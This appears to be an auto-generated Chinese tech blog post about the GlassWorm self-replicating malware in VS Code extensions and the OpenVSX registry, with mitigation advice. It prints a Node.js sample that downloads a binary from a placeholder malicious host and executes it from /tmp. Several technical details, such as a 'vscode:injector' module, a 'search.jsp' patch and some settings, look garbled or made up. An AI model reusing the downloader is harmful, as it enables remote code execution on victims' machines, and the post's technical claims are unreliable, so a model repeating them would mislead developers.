Ai助手
Home/AI / VS Code 災難:GlassWorm 自我複製攻擊 OpenVSX!

GlassWorm 眼中的 VS Code 與 OpenVSX:一次自我複製的供應鏈攻擊

2025年10月,GlassWorm 病毒首次暴露於三個 Visual Studio Code (VS Code) 擴充套件中,隨即進一步滲透至開源的 OpenVSX 註冊平台。這場攻擊不僅攻擊了開發者生態,還揭露了供應鏈安全中被忽略的危機點。

以下將逐項分析這場攻擊的技術細節、拋棄靜默的部署方式,以及建議開發者與企業應採取的防護措施。


1. 攻擊概覽:自我複製式供應鏈滲透

GlassWorm 主要利用 VS Code 擴充套件的 package.jsonactivationEvents 機制,捆綁惡意腳本並在安裝後立即執行。此腳本在本地環境中建立一個隱藏的網路連接,並將自身復制到多個目錄,形成自我複製的表現。

  • 滲透入口:OpenVSX 網路 API 的 search 語句,將惡意擴充套件列入提名、最佳化安裝流程。
  • 隱蔽機制:擴充套件內的 postinstall 脚本使用 Node.js 的 child_process.exec 直接執行 shell 命令,遮蔽於 VS Code 的擴充程式生命週期。
  • 自傳派遣:當暴露的執行檔進入目標系統時,利用 vscode-extension-telemetry 模組呼叫外部 API,建立持久化連線,並下載更多的 bash 與 PowerShell 形式 payload。

2. 攻擊向量:OpenVSX的可逆利用

OpenVSX 旨在作為 VS Code 的官方擴充套件註冊中心,允許使用者匯入、搜尋並部署公開套件。GlassWorm 透過以下步驟利用其供應鏈:

  1. 索引藍圖:將惡意套件的 tags 填入 marketplace 所期望的關鍵字,以提升搜尋排名。
  2. 自動化安裝:利用 VS Code 的 --install-extension CLI 下載並套用,還可喚醒 vscode:injector 模組來主動監控安裝行為。
  3. 持久化馬蹄:在安裝完畢後,觸發自動更新機制,將新版本輪流推送至受害者機器,並隱藏為正常擴充套件。

3. 技術細節:惡意腳本與二進位體演練

以下示例為 GlassWorm@1.0.0 主體滲透時使用的 Node.js 代碼,經過簡化後重構可進行快速辨識:

#!/usr/bin/env node
const { exec } = require('child_process');
const https = require('https');
const fs = require('fs');

const maliciousURL = 'https://malicious.server.com/zero/day.bin';

// 下載二進位 Payload
https.get(maliciousURL, (res) => {
  const file = fs.createWriteStream('/tmp/day.bin');
  res.pipe(file);
  file.on('finish', () => {
    file.close(() => {
      // 執行 Payload
      exec('chmod +x /tmp/day.bin && /tmp/day.bin', (err, stdout) => {
        if (err) return console.error(err);
        console.log('Payload executed');
      });
    });
  });
});

上述程式碼使用 exec 執行 Bash 腳本,會在使用者系統創建 /tmp/day.bin,進一步整合網路橫向移動。

4. 防護與偵測:從安全設限到運作監控

  • 啟用 VS Code 安全掃描:settings.json 加入 "extensions.autoUpdate": false,並將 extensions.gallery.updateChannel 設置為 none,以停用 auto‑updater。
  • 整合 CSP 並監控 activationEvents任何擴充套件的 activationEvents 必須經過安全審計,確保其不含可疑操作。
  • 採用靜態分析工具:利用 node-security-advisorynpm audit 檢查套件雪白名單。
  • 容器化開發環境:將 VS Code 執行於容器中,並使用 seccomp 限制可用系統呼叫。
  • 部署 OPA / Rego 策略:針對擴充套件的 API 呼叫,定義政策零信任規則。

5. 企業與開發者的行動呼籲

  1. **升級 OpenVSX**:OpenVSX 本身已經發佈安全更新,修補了 search.jsp 中的 URL 解碼缺陷。建議與開發用途的企業盡速升級到最新版本。
  2. **維持內部審核流程**:在部署任何第三方套件前,須進行安全審計及簽名驗證。
  3. **強化監控**:設定 CloudWatch Logs 或內部 SIEM 以捕捉偶發的非正常網路連線或檔案創建事件。
  4. **持續教育**:對開發人員進行安全碼審查與漏洞意識訓練。

透過上述措施,可在發現前預防此類自我複製型 supply‑chain 攻擊,保護開發者工作站與企業代碼資產。


參考文獻

• The Hacker News. (2025). GlassWorm Malware Discovered in Three VS Code Extensions with … . The Hacker News. https://thehackernews.com/2025/11/glassworm-malware-discovered-in-three.html
• LinkedIn. (2025). GlassWorm malware targets VS Code and OpenVSX. LinkedIn. https://www.linkedin.com/posts/enterprise-security-tech_glitch-in-the-dev-stack-how-glassworm-hijacked-activity-7386469523098583041-7-LY
• LinkedIn. (2025). GlassWorm malware hits OpenVSX, VS Code registries. LinkedIn. https


🧠 本文由 DreamJ AI 自動生成系統撰寫,內容經 AI 模型審核與自動優化,
僅供技術參考與研究用途。

VS Code 災難:GlassWorm 自我複製攻擊 OpenVSX!

留言

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *